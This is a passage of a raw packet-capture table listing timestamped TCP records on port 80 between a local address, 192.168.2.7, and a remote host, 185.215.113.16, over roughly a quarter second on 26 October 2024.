Oct 26, 2024 08:53:59.720411062 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720451117 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720458984 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720494032 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720504999 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720546007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720547915 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720582962 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720590115 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720618963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720624924 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720654964 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720662117 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720690966 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720700979 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720726013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720735073 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720769882 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720788956 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720830917 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720843077 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720879078 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720912933 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720926046 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720952034 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.720956087 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.720987082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721000910 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721023083 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721033096 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721057892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721085072 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721098900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721111059 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721143007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721158028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721201897 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721211910 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721247911 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721257925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721282959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721292019 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721318007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721328020 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721354961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721362114 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721390963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721399069 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721426964 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721436024 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721457958 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721492052 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721518993 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721528053 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721563101 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721564054 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721579075 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721601963 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721609116 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721637011 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721646070 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721673965 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721682072 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721709013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721715927 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721745014 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721761942 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721780062 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721787930 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721817970 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721847057 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721852064 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721867085 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721888065 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721892118 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721923113 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721940041 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.721959114 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.721990108 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722006083 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722024918 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722033024 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722063065 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722070932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722098112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722109079 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722135067 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722140074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722170115 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722187042 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722208023 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722213984 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722244024 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.722259998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.722285032 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.731225967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.731265068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.731298923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.731357098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.763027906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.763099909 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.763103962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.763144970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.763180017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.763221979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.763223886 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.763264894 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.776751995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.776789904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.776824951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.776848078 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.802687883 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.802699089 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.802707911 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.802738905 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.802808046 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.826303959 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.826361895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.826373100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.826383114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.826399088 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.826422930 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.833930016 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.833969116 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.833978891 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834009886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834011078 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834022999 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834036112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834048986 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834048986 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834069967 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834074974 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834095955 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834112883 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834116936 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834157944 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834160089 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834173918 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834196091 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834217072 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834289074 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834300041 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834310055 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834331036 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834331989 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834336042 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834347010 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834357023 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834379911 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834472895 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834484100 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834492922 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834515095 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834536076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834548950 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834559917 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834572077 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834584951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834593058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834618092 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834681988 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834736109 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834747076 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834774971 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834790945 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834803104 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834804058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834831953 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834912062 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834928989 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834939957 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834949970 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834960938 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.834960938 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834975958 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.834994078 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835021973 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835033894 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835063934 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835081100 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835084915 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835105896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835119963 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835134029 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835175037 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835175991 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835186005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835215092 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835217953 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835230112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835242987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835256100 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835273027 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835410118 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835421085 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835429907 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835441113 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835449934 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835453987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835479975 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835552931 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835563898 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835572958 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835594893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835598946 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835608959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835613966 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835633039 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835660934 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835779905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835791111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835802078 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835823059 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835850954 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835855007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835864067 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835875034 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835886002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835907936 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835922003 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835944891 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835978985 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.835979939 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.835990906 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836010933 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836046934 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836088896 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836101055 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836110115 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836127996 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836132050 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836139917 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836148977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836155891 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836193085 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836342096 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836353064 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836363077 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836381912 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836386919 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836400032 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836410999 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.836410999 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836430073 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.836456060 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.851684093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.851703882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.851721048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.851737976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.851764917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.880206108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880250931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880261898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880280972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880291939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880300045 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.880305052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880316973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880332947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.880343914 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.880361080 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.880374908 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.894222975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.894242048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.894253016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.894287109 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.917963028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.918004036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.918015957 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.918021917 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.918062925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.918062925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.943732977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.943743944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.943754911 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.943772078 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.943804979 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949198008 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949249983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949260950 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949276924 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949311018 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949321032 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949357033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949368000 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949379921 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949405909 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949409008 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949419022 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949428082 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949431896 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949436903 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949444056 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949455023 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949470997 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949496984 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949513912 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949600935 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949611902 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949621916 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949634075 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949645042 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949645042 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949650049 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949661970 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949673891 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949677944 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949677944 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949706078 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949798107 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949836016 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949873924 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949884892 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949894905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949907064 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.949918985 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949932098 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949959993 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.949969053 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950009108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.950023890 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950035095 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950046062 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950052977 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.950057983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950076103 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.950087070 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.950100899 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:59.950184107 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950196028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950208902 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:59.950217962 CEST	49981	80	192.168.2.7	185.215.113.16
